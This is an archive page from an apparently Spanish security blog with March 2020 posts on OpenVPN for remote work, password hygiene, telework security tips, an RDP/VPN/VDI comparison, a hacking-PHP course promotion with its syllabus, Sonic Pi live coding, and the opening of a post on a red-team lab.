31 mar 2020

OpenVPN: Accediendo a tu empresa desde el sofá de forma segura

¡Muy buenas!

Como habréis podido comprobar, últimamente estamos hablando mucho de VPNs en Flu, y es que las condiciones nos fuerzan a ello. Aún hay ahí fuera muchas empresas de diverso tamaño que no han establecido el teletrabajo por diferentes razones; algunas de ellas, entendemos, que por el desconocimiento de cómo implementarlo. Este problema afecta, sobre todo, a pequeñas empresas que no tienen un equipo de IT. Hablamos de PYMES que bastante tienen ya con sobrevivir en el mundo en el que vivimos, y no han tenido tiempo o necesidad de adaptar sus redes al trabajo remoto. Es sobre todo por ellas por las que estamos publicando estos posts últimamente.

En el último post sobre VPNs, nuestro compañero Nico nos habló de tres conceptos imprescindibles para implementar el trabajo remoto en una organización: VDI, VPN y RDP. En el post de hoy, os hablaremos sobre una solución abierta para poder montar una VPN dentro de vuestra organización: OpenVPN.


OpenVPN es un protocolo open source que está entre nosotros desde el año 2001. Conceptualmente, su funcionamiento es muy sencillo: los equipos remotos (clientes OpenVPN) se conectarán a un equipo dentro de la red de la organización (servidor OpenVPN), establecerán un túnel cifrado seguro y redirigirán todo el tráfico que generen a través de él. De esta forma, el servidor OpenVPN introducirá a los equipos clientes dentro de la red de la organización, por lo que a efectos prácticos serán un equipo interno más, accediendo a los mismos recursos y saliendo a Internet por el mismo punto de acceso que si estuvieran conectados desde dentro de la empresa.

Debe diferenciarse OpenVPN de los servicios VPN que vemos en Internet (como NordVPN, ExpressVPN, ProtonVPN o HideMyAss). Con estos servicios VPN (incluso aunque usen el protocolo OpenVPN por detrás) lo único que se consigue es salir a Internet a través de un equipo de estas empresas (sin que se pueda saber el origen real de la conexión), sin tener visibilidad de otros equipos o recursos.

Existen múltiples alternativas para configurar un servidor OpenVPN dentro de la organización. A continuación, os presentamos algunas alternativas:
  • Configurar un servidor para que levante un servicio OpenVPN. Esta es la opción que os recomendamos, aunque también es la más compleja de realizar. Requiere seguir un procedimiento de forma rigurosa para configurar de forma segura el servicio. Os recomendamos este tutorial de DigitalOcean.
  • Si vuestra empresa cuenta con un firewall pfSense, en este enlace tenéis un tutorial con el que configurar el firewall para dar servicio OpenVPN. Además, podréis generar certificados de acceso para los clientes de forma sencilla siguiendo este tutorial.
  • Si os gusta trastear y tenéis un modelo compatible, podréis modificar el firmware de vuestro router para que use el sistema OpenWRT en lugar del proporcionado. Entre otras funcionalidades, OpenWRT permite establecer un servidor OpenVPN, siguiendo este tutorial. No obstante, no os garantizamos que el rendimiento del router sea el mismo que con el firmware oficial (¡jugáis bajo vuestra propia responsabilidad!).
  • Si sois una empresa pequeña, podríais usar una Raspberry Pi para levantar el servicio OpenVPN, teniendo en cuenta que el rendimiento de estos equipos es limitado. En este caso nos encontramos ante un procedimiento sencillo, pero la seguridad del mismo no está del todo garantizada (no siempre es recomendable confiar en cosas que nos vienen dadas). Como podéis ver en https://www.pivpn.io/, es tan facil como lanzar un comando y seguir el proceso de instalación.
  • Existe otra opción que simplifica el proceso de configuración, que es utilizar contenedores Docker siguiendo este tutorial. No obstante, y al igual que en el caso anterior, no os recomendamos dejar la seguridad de vuestra empresa en manos de una solución que ha implementado otra persona.
Esperamos que estos enlaces os sean de interés :)

¡Salud y ánimo!

30 mar 2020

Veo veo... ¿Qué leaks? (Parte I)

Good meowrning! Dadas las circunstancias especiales que estamos viviendo debido al COVID-19, para pasar el tiempo de una forma u otra, estamos haciendo más uso del normal de nuestros dispositivos, ya sea con el pc, tablet, smartphone, smartTV, o incluso con videoconsolas. Por ello, debido al aumento de esta actividad en internet con las aplicaciones que utilizamos habitualmente (Netflix, WhatsApp, Instagram...), junto con aquellos servicios en los que nos damos de alta porque nos ofrecen otro tipo de entretenimiento, en esta serie de posts vamos a hablar de la importancia que tiene establecer diferentes contraseñas para cada cuenta, además de otras características como su robustez, periodicidad, y las consecuencias que puede tener de cara a un robo de nuestras cuentas.

En las charlas y cursos de concienciación se suele hacer especial mención a las 4 requisitos que deben tener las contraseñas que usamos:
  • Minúsculas
  • Mayúsculas
  • Números
  • Caracteres especiales. 
De forma adicional a ellas, hay un factor que es fundamental para diferenciar el nivel de robustez de las contraseñas, su longitud. Hasta ahora, se nos ha dicho que las contraseñas debían tener un mínimo de 8 caracteres para que fueran consideradas como robustas, pero hace poco más de un año @TinkerSec publicaba en este tweet cómo, haciendo uso de hashcat y 8 tarjetas gráficas NVIDIA GTX 2080Ti, era capaz de descifrar las contraseñas en cuestión de 2.5 horas. Por ello la longitud mínima que debe tener nuestra contraseña para ser considerada segura se ha visto aumentada a un mínimo de 15 caracteres.

Adicionalmente a los puntos anteriores, también es fundamental tener en cuenta 2 factores:
  • Cambiar periódicamente las contraseñas (y que esa periodicidad no sea cada 3 años).
  • No reutilizar contraseñas en los diferentes servicios en los que estemos registrad@s.



Pero ahora nos surge una duda, ¿como creo una contraseña con todas estas características y a la vez ser capaz de acordarme de ella luego? Tenemos varias posibilidades:
  • Reglas mnemotécnicas. Este tipo de técnica nos permite que, a partir de a partir de una idea inicial, poder crear una asociación mental de la información que queremos memorizar (y posteriormente recordar).
  • Generadores de contraseñas. Son herramientas muy útiles cuando queremos obtener contraseñas con unas características específicas y aleatorias (que a la vez son más difíciles de recordar). Un ejemplo de ellos es passwordsgenerator.net

De la mano de los generadores de contraseñas, tenemos una opción muy viable para mantener todas nuestras credenciales actualizadas. Se trata del uso de gestores (o administradores) de contraseñas, los cuales nos permiten centralizar y gestionar la información con la que nos identificamos en distintas aplicaciones. De la misma forma, a la hora de crear una nueva contraseña para que sea asociada a una aplicación, muchos de los gestores de contraseñas poseen generadores de passwords con los requisitos que se deseen. Algunos de los gestores más conocidos son KeePass, LastPass o 1password.


Para complementar a estas contraseñas robustas, y añadir una capa más de seguridad a la hora de iniciar sesión en una aplicación, nos encontramos con la autenticación multifactor (MFA), que se trata de un sistema de seguridad que requiere de más de una autenticación para verificar nuestra identidad. Este tipo de autenticación adicional puede tratarse del uso de un pin, un token de un solo uso (OTP), identificación a través de la huella dactilar o del reconocimiento facial, el uso de un token hardware... De forma que, según la aplicación a la que intentes acceder, tendrá implementado un sistema u otro.

A modo de recomendación, es conveniente saber que el NIST provee de una guía de contraseñas en la que algunos puntos quizás os suenan :)

Como conclusión a esta primera parte, me gustaría destacar que, a pesar de estas buenas prácticas que hemos comentado y que tanto se nos repiten, a día de hoy, un gran número de entidades bancarias siguen haciendo uso de claves de acceso a sus áreas de cliente solicitando una clave numérica entre 6-8 dígitos, el pin de la tarjeta, o claves numéricas con 4 dígitos + DNI (y que además la mayoría coinciden en el uso de otra clave adicional + OTP vía SMS para la realización de las transacciones, o simplemente el OTP vía SMS), tomando este tipo de medidas en muchos casos por compatibilidad con sistemas legacy que poseen en sus infraestructuras.

En los próximos posts de esta cadena veremos las consecuencias de desatender nuestras credenciales :).

Muchos maullidos!
M

26 mar 2020

Teletrabajo: #QuédateEnCasa pero seguro

Intentando sacar algo positivo de esta situación que estamos viviendo actualmente en España, y en otros países de todo el mundo, seguimos con consejos sobre teletrabajo. Sabiendo que muchas empresas se han visto forzadas a desplegar rápidamente todo tipo de soluciones y medios (cada uno el que buenamente ha podido), queremos aportar nuestro granito de arena haciendo un resumen de recomendaciones de seguridad genéricas. 

Tal y como comentó nuestro compañero Luis en este artículo, el CCN-CERT publicó un informe bastante extenso y completo sobre indicaciones de seguridad para montar una infraestructura de teletrabajo segura. Sin embargo, no se habla mucho del problema de proporcionar seguridad en los equipos que usa la gente en sus casas. De forma inevitable, los dispositivos se usarán tanto para actividades laborales, como de ocio o para necesidades personales (¿desde dónde hacemos nuestras compras online?), incrementando el nivel de exposición a amenazas, además de que ya no disponemos de las protecciones que nos ofrece nuestra red interna empresarial. En la medida de lo posible, nos corresponde a nosotros mismos hacer un buen uso de los recursos, pero no hay que olvidar que muchas personas no tienen más remedio que usar su propio equipo personal para teletrabajar.

Pensando sobre todo en este último caso, vamos a hacer una recopilación de consejos básicos, pero fundamentales para garantizar la seguridad de nuestros dispositivos.


Actualiza


Este es el típico consejo que siempre se dice pero nunca se sigue de verdad. Sin embargo, es muy importante para mantener nuestros sistemas seguros, y es por eso que los de seguridad somos tan pesados con este tema. Constantemente aparecen nuevas vulnerabilidades que pueden comprometer gravemente nuestro equipo. Un ejemplo de ello es la reciente vulnerabilidad crítica de Windows que nuestro compañero Christian comentó en este otro artículo.

Si no se fuerza a nivel empresarial (a través de directivas de grupo, por ejemplo), o si utilizamos nuestro propio equipo personal para teletrabajo, es necesario comprobar nosotros mismos que tenemos todo actualizado y parcheado: sistema operativo, aplicaciones (incluidos los clientes de vpn y conexión remota) y navegadores. Existen herramientas de diagnóstico que nos facilitan la detección de software obsoleto y actualizaciones pendientes, y sistemas de alertas para recibir notificaciones sobre vulnerabilidades y actualizaciones de seguridad recientes.

Usa un buen antivirus


Aunque Windows Defender nos ha ido demostrando estos últimos tiempos que puede ser una buena opción gratuita, quizás es el momento de pensar en comprar una licencia de antivirus. No es el objetivo de este artículo hacer una tabla comparativa de todas las opciones que existen en el mercado, ya que son muchas y dependerá de las necesidades particulares de cada uno. Lo más importante es que la mayoría de ellos ofrecen una navegación segura, detectando y bloqueando URLs y descargas maliciosas, e incluyen mecanismos de protección contra malware.

Bloquea tráfico innecesario


Es importantísimo configurar correctamente el firewall del sistema, y sin embargo suele ser un gran olvidado. Si nuestra empresa no dispone de políticas específicas, o si utilizamos nuestro equipo personal, es una buena práctica de seguridad crear reglas para permitir únicamente el tráfico que sea estrictamente necesario y denegar el resto, o al menos bloquear el tráfico en aquellos puertos que usan servicios conocidos vulnerables para reducir los potenciales vectores de ataque. No está de más asegurarnos de que se almacenan correctamente los logs del firewall.

Desconfía


Quizás este sea uno de los mejores consejos a día de hoy. Aprovechándose de esta situación excepcional, se han visto incrementados considerablemente los intentos de fraude y phishing estos días. Es una ocasión perfecta, ya que aprovechan que estamos “aislados” de nuestro entorno laboral para engañarnos más fácilmente, suplantando la identidad de algún compañero o utilizando la típica estafa del CEO. En estos casos siempre es aconsejable desconfiar, y contactar directamente con la persona involucrada (a ser posible a través de otro medio) o un tercero de confianza que nos pueda confirmar o desmentir. También aprovechan que estos días estamos muy pendientes de las noticias para usar tristemente el asunto del coronavirus como cebo. El CCN-CERT lanzó hace unos días una alerta por el repunte de campañas de phishing por COVID-19.

Por último, me gustaría hacer una reflexión. Estamos físicamente aislados, pero gracias a la tecnología, seguimos muy conectados, con las ventajas y desventajas que ello conlleva. 

¡Saludos y ánimo!

25 mar 2020

Hoy Platón no sería filósofo, sería Hacker.

¿Alguna vez os habéis planteado que el ámbito de la ciberseguridad se asemeja muchísimo al mito de la caverna de Platón?

En esta alegoría, Sócrates pide a Glaucón (hermano de Platón) que se imagine la siguiente situación: un muro dentro de una caverna. A un lado, prisioneros encadenados; al otro lado, un fuego resplandeciente; y encima del muro, una serie de figuras movidas por personas del mundo exterior. Los prisioneros, quienes en su vida no han visto más que el interior de dicha cueva, viven pensando que las luces y sombras que ven reflejadas en la pared de la misma componen su realidad.
Este no es Platón pero, ¿A que queda bien?

En cierto momento, uno de los prisioneros se libera de sus cadenas y decide escalar la pared. a duras penas lo consigue y, al asomarse, casi queda ciego y cae de nuevo en las tinieblas. Sin embargo, resistió y se dio cuenta que no fue la intensidad de la luz lo que le cegó sino la falta de costumbre a esta por lo que, una vez recuperada la vista, decide avanzar. Más allá de la cueva, descubre que no solo existen luces y sombras sino que estas, a su vez, definen nuevas formas, objetos y personas. Descubre  lo que podría denominarse como: el mundo real. 

Asimilada esta nueva idea, decide volver a la caverna para compartir la experiencia con sus compañeros de encierro e invitarles a conocer la verdadera realidad. Sin embargo, convencerles fue imposible. ¿Por qué? Sus ojos se acostumbraron a la luz y, por tanto, ya no era tan hábil en la oscuridad. El resto de prisioneros, al ver esto, se aferraron a la idea de que le mundo exterior no solo no le había beneficiado sino que, además, le había dañado la vista. Esto no solo provocó que se negaran a acompañarle sino que, ante las insinuaciones de su antiguo compañero, algunos reaccionaron de manera tan agresiva que llegaron a plantearse acabar con la vida de este. Todo ello con tal de seguir viviendo en, lo que para ellos era, su verdadera realidad. 

Vale y... ¿Qué tiene que ver esto con la ciberseguridad?

Pues veréis. Llevamos décadas inmersos en un desarrollo tecnológico que no hace más que crecer. Todas estas nuevas tecnologías han pasado a formar parte de, prácticamente, todos los aspectos de nuestra vida. Está presente en nuestros teléfonos, coches e incluso, en nuestros electrodomésticos. Es por ello que no sería una locura afirmar que todo este ecosistema digital se ha convertido en nuestra cueva. 

Hemos pasado de llevar un ordenador en el bolsillo a confiarle nuestra vida sin reparar apenas, en la información que almacena sobre todos nosotros: quiénes somos, qué o quién nos gusta, cuánto dinero tenemos, en qué lo gastamos, en qué banco lo guardamos y un sinfín de etcéteras.. Sin embargo, gran parte de la sociedad, o no lo ve, o no lo quiere ver. Y la pregunta es ¿por qué? Simple. Porque hemos dejado que nos cieguen. La tecnología se ha desarrollado al mismo tiempo que ha crecido nuestra demanda insaciable. Queremos el mejor teléfono al menor coste posible, las aplicaciones más estéticas y funcionales, el Internet más rápido... lo queremos todo, y lo queremos ya. Mientras tanto, hay una pregunta que, aunque cada vez más, pocos nos hacemos ¿Es que todo esto del avance tecnológico es tan bueno, bonito y barato, aunque no siempre, como lo pintan?

 Como diría Platón: ¿Es esto la pared de la cueva o el mundo exterior? 

Este tampoco es Platón, pero es un plato muy grande

Llevo haciéndome esa misma pregunta seis meses, justo el el tiempo en el que llevo formando parte del que es, en mi opinión, el mejor equipo de hackers que conozco. Cada uno de sus miembros, me recuerda al prisionero que, una vez libre de cadenas, decidió replantearse qué es lo que hay más allá del muro, dando el primer paso hacia el verdadero conocimiento del mundo digital tal y como lo conocemos, con sus luces pero, sobre todo, con sus sombras. No hay día que no me sorprenda su capacidad de analizar si toda novedad es tan cierta y/o segura como nos la venden. No contentos con ello, a menudo por iniciativa propia, deciden asegurarse que efectivamente esto es así, aunque por el camino sea necesario romper alguna cosa que otra.

Por último, no menos importante e igual de relacionado con nuestro mito, el conocimiento, como dirían mis compañeros, es Open Source. Para los noobs como yo, esto significa, por así decirlo que todo el mundo pueden acceder a él y distribuirlo de la forma que consideren conveniente.

Todo ello con un objetivo dual: por un lado insta a los creadores a reparar sus errores que, si no son solventados, pueden causar daño a sus usuarios; y, por otro lado, alertar a la sociedad de cuáles son las consecuencias a las que se expone en caso de seguir confiando en ellos, a ciegas.

El problema, y con esto ya termino, es que al igual que le pasó al iluminado prisionero, el conocimiento, aunque a veces cierto, no siempre desea ser recibido y, por tanto, será negado por muchos y atacado por otros tantos. Esto, amigos míos, se debe a que es más sencillo acomodarse en la ignorancia que aguantar el dolor de reconocer que, el primer paso para abrir la mente al conocimiento, es aceptar nuestra propia ignorancia.

Ahora la pregunta es: ¿Te atreves a ver lo que hay más allá del muro?

24 mar 2020

Derrotando al COVID19: El "Manage" à trois del teletrabajo (Escritorio remoto vs VPN vs VDI)

No todas las empresas que tienen necesidad de teletrabajo durante esta crisis, están relacionadas con el mundo IT. Tampoco todas cuentan con presupuestos gigantescos para disponer de un equipo que les gestione la infraestructura en este tipo de situaciones.

Por ello, en Flu queremos dar a conocer, desde una perspectiva para nuestros lectores "no tan técnicos", qué opciones existen y en la medida de lo posible facilitar información para su instalación y despliegue, ayudándoos a reducir el impacto del virus en vuestros negocios. Incluso puede que ya estéis utilizando algunos de estos servicios o protocolos en vuestro trabajo actual, así que es bueno que conozcamos las diferencias entre ellos.

Escritorio Remoto:

Podemos decir que existen dos protocolos principales para la conexión con un escritorio remoto. El primero, RDP (Remote Desktop Protocol), fue originalmente desarrollado por Microsoft. Aunque a día de hoy hay disponibles clientes para todas las plataformas. El servidor es inherente a Windows, ya que el inicio de sesión se hace mediante el core de este. El segundo es VNC (Virtual Network Computing), es multiplataforma, tanto en cliente como en servidor, utilizando protocolo libre, que implementa la funcionalidad de escritorio remoto sin restricciones en el sistema operativo.


El propósito de ambos protocolos es facilitar a una persona conectarse a un ordenador en una red remota y utilizar su interfaz gráfica. Permite compartir el ratón, el teclado e incluso el portapapeles.

Aunque sea la primera opción mencionada, utilizar un escritorio remoto es también la menos segura, y no se aconseja su uso. Funciona, y es muy sencillo de configurar, pero a nivel de seguridad, tanto RDP como VNC, son bastante más vulnerables que los métodos que explicamos a continuación.

VPN (Virtual Private Network):


Tal como su nombre indica, es una red privada virtual. Muchos ya habréis utilizado alguna para cambiar virtualmente vuestra ubicación, ya sea por razones más o menos éticas. Existen diferentes protocolos que permiten establecer una conexión de este tipo, y permiten crear un túnel de conexión cifrado entre dos redes.
Imagen de INCIBE
Es mucho más versátil que el escritorio remoto, aunque también algo más complejo de configurar y mantener. Permitirá el acceso externo de forma segura, con posibilidad de segregación de usuarios, a servicios disponibles solo de forma interna a la empresa. Además, estaremos adheridos de forma intrínseca a los sistemas de seguridad que haya implementados en la red de destino.

Hay que tener en cuenta, que cuando estamos conectados a una VPN, el ancho de banda de nuestra conexión pasará a ser equivalente al ancho de banda que tengamos en la red de destino. Por tanto, es importante dimensionar bien este tipo de conexión para tener siempre un buen funcionamiento de la red.

VDI (Virtualización de sistemas o aplicaciones):

Con un sistema VDI, es posible tener acceso al mismo escritorio virtual todo el tiempo. Es parecido a un escritorio remoto, pero en este caso, no accedemos a una máquina real, sino a una virtualizada en un servidor central. Por ejemplo, puede haber varias imágenes dependiendo del tipo de usuario que accede, cada una de ellas con aplicaciones distintas.



Facilita bastante el mantenimiento, ya que cambiando la imagen, los cambios se aplican de forma instantánea a todos los usuarios que la utilicen. Muchos usuarios conocen este servicio por el nombre comercial de uno de los proveedores más famosos, Citrix.


RDP
VPN
VDI
¿Cómo funciona?
Es literalmente una conexión remota con un PC que se encuentre dentro de la red empresarial
Un equipo establece un túnel seguro de conexión hacia la organización, desde ese momento el equipo formará parte de la red interna.
Permite disponer de equipos y aplicaciones mediante una imagen preconfigurada que se guarda en un servidor interno
¿A qué podemos acceder?
Accedemos directamente al control de un equipo interno de la empresa, y por tanto a todo lo que este equipo tenga accesible.
A cualquier recurso corporativo que esté configurado en la política de acceso de VPN. Generalmente varía dependiendo del perfil que accede. Es altamente configurable.
Tendremos acceso a los recursos que se hayan preestablecido previamente en la imagen que existe en el servidor de virtualización.
Acceso local a los datos
En principio están aislados en el equipo que se encuentra en la red interna.
Permite que los datos sean salvados en el cliente externo, ya que formamos parte de la red con la máquina desde la que accedemos.
Proporciona un equipo seguro desde la nube empresarial que mantiene los datos aislados de la red externa.
Posibilidad de trabajar offline
Es necesaria la conexión permanente hacia el escritorio remoto.
Puede trabajarse online si descargamos los datos necesarios para ello a la red externa.
Es necesaria la conexión permanente hacia el equipo remoto virtualizado.
Seguridad final de los datos
En principio, los datos no pueden ser salvados hacia el exterior, pero por lo general los protocolos de escritorio remoto no tienen opciones de seguridad avanzadas.
Una vez que los datos están en el dispositivo externo, la organización pierde la visibilidad de los mismos, lo que puede resultar en perdidas y robos de datos si no está bien gestionado.
Los datos no pueden ser salvados hacia el exterior, protegiendo el sistema de la posible pérdida de un dispositivo externo. El sistema virtualizado permanece tras todos los controles de seguridad internos de la empresa.
Seguridad del dispositivo final
Los parches y las actualizaciones dependen de la gestión interna de los equipos de la empresa ya sea manualmente o mediante un SCCM. Independientes del dispositivo externo.
Los parches y actualizaciones deben gestionarse por separado en cada dispositivo que se conectará a la VPN.
Los parches y las actualizaciones se hacen de manera centralizada, directamente en las imágenes de virtualización. Son independientes del dispositivo externo.

El uso de estos métodos de conexión no está supeditado a usar únicamente uno de ellos. En muchas empresas se implementan varios dependiendo de las necesidades del servicio. Eso sí, es muy importante mantener bien configurados y actualizados los sistemas de acceso externo a la empresa, pues son uno de los primeros objetivos que pueden intentar explotarse en posibles ataques.

¡Saludos!

23 mar 2020

¡Publicada la agenda para #FluCON Online Edition!

Buenas a todos, acabamos de publicar la agenda final de la FluCON Online Edition, que tendrá lugar el próximo viernes 27 de marzo de 2020, a las 16:30 horas de España peninsular (UTC+1).




El congreso podréis seguirlo en directo por YouTube desde AQUÍ:



¡No faltéis! 

Pablo y Juanan

21 mar 2020

Hacking PHP: Descuento del 10% con el código FLUPROJECT10

El mes avanza, no sin dificultades. Un mes distinto y duro para todos nosotros. Debemos intentar seguir haciendo vida normal en este escenario. Hoy dejamos un nuevo descuento del 10% en formación. Hoy le toca el turno a CPPHP: Hacking PHP.

La empresa Security Sentinel ha lanzado un descuento del 10% con el código FLUPROJECT10Al finalizar el curso se realiza una prueba para evaluar los conocimientos adquiridos en el curso. El enfoque del curso es eminentemente práctico y es guiado a través de ejercicios. El profesor es Luis Alberto Reoyo. Aprovecha el descuento y no dudes en aprender más sobre las posibilidades de PHP en el ámbito del hacking.


Es un curso distinto en el que aprenderás a programar la parte básica del lenguaje y a utilizarlo. Aprenderás cuales son los entresijos de una configuración interesante y se hará hincapié en otros lenguajes como JS. Comenzando por una introducción a lo que es PHP y su historia pasando por el entorno de desarrollo o las extensiones que PHP utiliza.

El objetivo siempre es práctico, pero en este curso, además, se puede ver como hay una vertiente de programación, una vertiente de arquitectura y otra vertiente de desarrollo seguro. Juntando todo entenderás el potencial, tanto en la parte ofensiva como defensiva.

Se aprende a comprobar la seguridad de los sitios con PHP y a desarrollar de forma segura en este lenguaje. Sin duda, una de las partes que más llama mi atención es la parte de troyanos, dónde se puede conocer diferentes tipos de webshells, entre otros. Además, la parte de ataques, mostrados en el curso y ver cómo uno puede protegerse y desarrollar de forma segura, es otra que me ha llamado la atención.

El curso está definido con un 75% de práctica y un 25% de teoría. Con esta distribución se facilita,  y mucho, el aprendizaje de los conceptos. A continuación, se deja el temario del curso por semanas. Si se quiere mayor detalle se puede consultar en el siguiente email: info@thesecuritysentinel.es

Solo hay que ver el desglose del temario para ver todo el contenido que se puede ver en el curso. Aprenderás desde cero o reciclarás conocimientos, no te pierdas este desglose del curso.

  • TEMA 1 – INTRODUCCIÓN A PHP.
    1.    Introducción a PHP
    a.    Qué es PHP y cómo funciona
    b.    Características
    c.    El predominio de PHP
    d.    Ventajas e inconvenientes frente a otros lenguajes
    e.    PHP 5 y PHP 7
    f.     Fichero php.ini
    g.    Extensiones
    h.    Ejecución desde la línea de comandos.
    i.     Entorno de desarrollo
    j.     Subir una web a producción.

    2.    Instalación y configuración servidores web
    a.    Tipos de servidores web
    b.    Instalación de un servidor web Windows utilizando XAMPP (Apache)
    c.    Instalación de un servidor web Linux utilizando LAMP (Apache)
    d.    Instalación de un servidor web Linux utilizando LEMP (Nginx)

    TEMA 2 – PROTOCOLO HTTP E INTRODUCCIÓN A HTML, CSS Y JS
    1.    Protocolo HTTP
    a.    Qué es
    b.    Funcionamiento
    c.    Peticiones HTTP
    d.    Códigos de estado HTTP
    e.    Burp Suite
    f.     Composición
    2.    Introducción HTML, CSS y JS
    a.    Introducción HTML
    b.    Introducción CSS
    c.    Introducción JavaScript.
    3.    Cross Site Scripting (XSS)
    a.    TOP 10 OWASP 2017
    b.    Qué es
    c.    Cómo funciona
    d.    Tipos de XSS
    e.    Ejemplos
    f.     CSRF.

    TEMA 3 – PROGRAMACIÓN ESTRUCTURADA
    1.    Programación Estructurada
    a.    Teorema de la programación estructurada
    b.    Variables y Arrays
    c.    Operadores
    d.    Funciones
    e.    Estructuras de control
    f.     Secuencial
    g.    Condicional (simple, doble y múltiple)
    h.    If, else…
    i.     switch
    j.     Iterativa o bucle
    k.    while y do while
    l.     For y foreach
    m.    Include y Require.

    2.    Troyano
    a.    Qué son
    b.    Tipos de Troyano
    c.    Infección
    d.    Ejemplos (C99 y R57)
    e.    Ofuscadores
    f.     Conclusiones
    g.    Desarrollo

    TEMA 4 – PROGRAMACIÓN ORIENTADA A OBJETOS
    1.    Programación Orientada a Objetos
    a.    Introducción
    b.    Clases y Objetos
    c.    Propiedades
    d.    Métodos (setters y getters)
    e.    Instancias, Constructores y Destructores
    f.     Modificadores de Acceso
    g.    Public
    h.    Private
    i.    Protected
    j.    Herencia
    k.    Desarrollo.

    2.    Denegación de Servicio
    a.    Qué es
    b.    Tipos de ataque
    i.    UDP FragmentFlood
    ii.    DNS AmplificationAttack
    iii.    NTP AmplificationAttack
    c.    PHP y Sockets
    d.    PoC
    e.    Desarrollo.

    TEMA 5 – INTERACCIÓN CLIENTE – SERVIDOR
    1.    Interacción Cliente – Servidor
    a.   Introducción
    b.    GET, POST y REQUEST
    c.    Cookies
    d.    Sesiones
    e.    Subida de archivos
    f.    XML, DTD y recepción

    2.    File Inclusion y XXE
    a.   File Inclusion
    b.    LFI: Prueba de Concepto
    c.    RFI: Prueba de Concepto
    d.    XXE
    e.    XML Bomb (Mil Millones de Risas).

    TEMA 6 – BASES DE DATOS
    1.    Bases de Datos
    a.    Introducción
    b.    MySQL
    c.    phpMyAdmin
    d.    MySQLi
    e.    PDO
    2.    Inyecciones SQL (SQLi)
    a.    Qué es
    b.    Tipos de SQLi
    c.    SQLi Clásica
    d.    Blind SQL
    e.    SQLmap.

    TEMA 7 – FUNCIONES HASH CRIPTOGRÁFICAS, cURL y JSON
    1.    Funciones Hash
    a.    Qué es un hash
    b.    Aplicaciones
    c.    MD5
    d.    Familia SHA
    e.    Rainbow Tables
    f.    Hash de contraseñas

    2.    cURL y JSON
    a.    Qué es cURL
    b.    Funcionalidades
    c.    Instalación/Configuración
    d.    Uso Básico
    e.    JSON
    f.     PoC: cURL + JSON

    3.    Fuerza Bruta
    a.    Qué es
    b.    Funcionamiento
    c.    PoC: Login WordPress
    d.    PoC: Ataque autentificado.

    TEMA 8 – DESARROLLO SEGURO
    1.    Desarrollo Seguro
    a.    Principios Básicos
    b.    Hardening LAMP
    i.    Linux y Apache
    ii.   MySQL
    iii.  PHP
    c.  Contramedidas
    i.    SQLi
    ii.   XSS y CSRF
    iii.  File Inclusion
    iv.  Fuerza Bruta
    d.  Tips

    2.    Web Scraping
    a.    Qué es
    b.    Funcionamiento
    c.    TOR
    d.    PoC: Preparar el Entorno
    e.    PoC: Desarrollo

    3.    Examen
    a.    Desarrollo seguro
    b.    Prueba Ofensiva

Ante cualquier duda que se tenga sobre contenidos, impartición o duración del curso puede consultar con info@thesecuritysentinel.es.

20 mar 2020

LiveCoding: aka cómo generar tu propia sinestesia

Cuando hablamos del término sinestesia, se define como una experiencia sensorial, a partir de estímulos generados por otros sentidos. Hace un par de semanas, el elenco de Zerolynx estuvo en la RootedCon donde estuvimos disfrutando de interesante ponencias, y una de las charlas que más me llamó la atención, como músico autodidacta, fue la que nos esbozó el concepto de LiveCoding. La idea es simple, consiste en generar música en tiempo real a través de código.

Tras ver las posibilidades artísticas, llevaba días dándole vueltas y por fin he conseguido sacar un ratito para hacer algo divertido. Viendo las características de LiveCoding, cualquiera podría pensar que consiste en programar sintetizadores, efectos e instrumentos digitales, pero tras ver un poco como funciona, la idea era buscar funcionalidades inalcanzables para cualquier programa de edición de audio al uso.

No pude evitar preguntarme: ¿Qué puede llegarse a hacer con esto realmente? ¿Qué elementos es viable usar como entrada al programa? ¿Es posible convertir cualquier variación de voltaje o frecuencia en música?

La respuesta es el OSC (Open Sound Control). Es un protocolo creado para la comunicación entre ordenadores, sintetizadores y otros dispositivos de audio a través de la red. El protocolo funciona mediante UDP, y puede usarse como entrada en Sonic Pi, el software de LiveCoding que he utilizado para esta primera PoC.

Python, tiene librerías para OSC disponibles que pueden conectarse a Sonic Pi mediante el servidor que la propia aplicación levanta por defecto en el puerto 4560. Esto quiere decir que es posible controlar la música que se genera en la aplicación de forma externa. Sabiendo esto, en mi cabeza comienzan a sonar Arduino, sensores, API's... podemos usar cualquier tipo de entrada para generar o parametrizar instrumentos de software.

Partiendo de esta idea, he creado un pequeño código que genera la serie de fibonacci y la transforma en notas pertenecientes a la escala de Do Mayor (C Major), creando así una sucesión de notas armónicas que provienen de esta serie. Para Sonic Pi, el Do3 (Que corresponde al Do central en un piano, C4 en notación anglosajona) se representa con el número 60. En principio, podríamos empezar desde esa nota, e ir sumando los resultados de la serie, pero rápidamente pasaríamos a frecuencias de ultrasonidos, pues la sucesión crece muy rápido. Para evitar esto, he jugado con el resto de dividir entre 12 los resultados de la serie. Os explico el porqué en la siguiente imagen.


Podéis ver como a lo largo del piano se repiten las notas en diferentes octavas, que no son más que múltiplos o divisores de la misma frecuencia. Por ejemplo A4 (La3), corresponde a 440Hz, de ahí podemos deducir que A3 es el sonido que se produce a 220Hz, y A5, a 880Hz. Para más información sobre frecuencias de afinación, podéis ver todas las habituales aquí.

Para que nuestra generación musical funcione, manteniéndose dentro de la misma octava, es necesario convertir los valores resultantes de fibonacci a Z12, que se corresponde con el número de semitonos que hay en una octava. Así que podemos decir que, el programa genera una melodía armónica a partir de los valores de la serie, restringida a las frecuencias comprendidas entre C4 y C5 del piano.


Si observamos el código anterior, no es más que el algoritmo de fibonacci, añadiendo algunos parámetros de configuración para mandarle los valores al sintetizador :dsaw de Sonic Pi. He añadido un efecto de reverberación y un silencio de 0.5 beats.

A continuación, podemos ver el audio generado por la aplicación:


Seguiremos aprendiendo de Sonic Pi, para traeros más artículos relacionados con el mundo musical.

¡Saludos!

19 mar 2020

Tu propio laboratorio para Red Team

Muy buenas a todos,

Durante estos días de aislamiento seguro que muchos habéis pensado en invertir vuestro tiempo libre en algo que siempre teníais en vuestra lista de TO-DOs y nunca encontrábais suficiente tiempo para llevarlo a cabo :P

Y ya que no todo es trabajar (ciber)seguro desde casa, como indicaba mi compañero Luis la semana pasada, os traigo un pequeño laboratorio que no os vendrá nada mal para practicar y observar cuanto "ruido" hacen vuestras herramientas durante un ejercicio de Red Team.

DetectionLab es un laboratorio especialmente diseñado desde un punto de vista de un equipo de Blue Team, al menos a la hora de monitorizar datos. Su principal propósito es permitir a cualquier usuario desplegar un controlador de dominio de Windows y poder evaluar sus herramientas en él.

Algunos casos de uso para los que fue pensado son principalmente:
